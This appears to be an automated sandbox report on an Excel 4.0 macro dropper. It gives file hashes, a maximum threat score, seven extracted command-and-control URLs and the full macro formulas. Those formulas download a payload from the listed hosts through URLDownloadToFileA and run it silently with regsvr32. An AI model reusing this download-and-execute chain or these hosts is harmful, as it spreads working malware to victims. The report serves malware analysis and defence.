General

  • Target

    1b906484cc0eeeec0ef51d23af5dc77d487167365127e727d1576d294ea258ce

  • Size

    51KB

  • Sample

    241120-21lvjszmcm

  • MD5

    3ca8c8e5a2f8f4fe2690809436b11287

  • SHA1

    3f2741b69489f0f51979a007d471a0c2b8390cdc

  • SHA256

    1b906484cc0eeeec0ef51d23af5dc77d487167365127e727d1576d294ea258ce

  • SHA512

    271df435f3e0ed9b736e12750e26e2277808c3ab1b1f7981bd34cf8834f2c165fea00648415ee481a285016bccc78f2d30e5e8a4e9f405761d0c6bd650b45be2

  • SSDEEP

    768:GICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:GItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

Targets

    • Target

      1b906484cc0eeeec0ef51d23af5dc77d487167365127e727d1576d294ea258ce

    • Size

      51KB

    • MD5

      3ca8c8e5a2f8f4fe2690809436b11287

    • SHA1

      3f2741b69489f0f51979a007d471a0c2b8390cdc

    • SHA256

      1b906484cc0eeeec0ef51d23af5dc77d487167365127e727d1576d294ea258ce

    • SHA512

      271df435f3e0ed9b736e12750e26e2277808c3ab1b1f7981bd34cf8834f2c165fea00648415ee481a285016bccc78f2d30e5e8a4e9f405761d0c6bd650b45be2

    • SSDEEP

      768:GICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:GItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks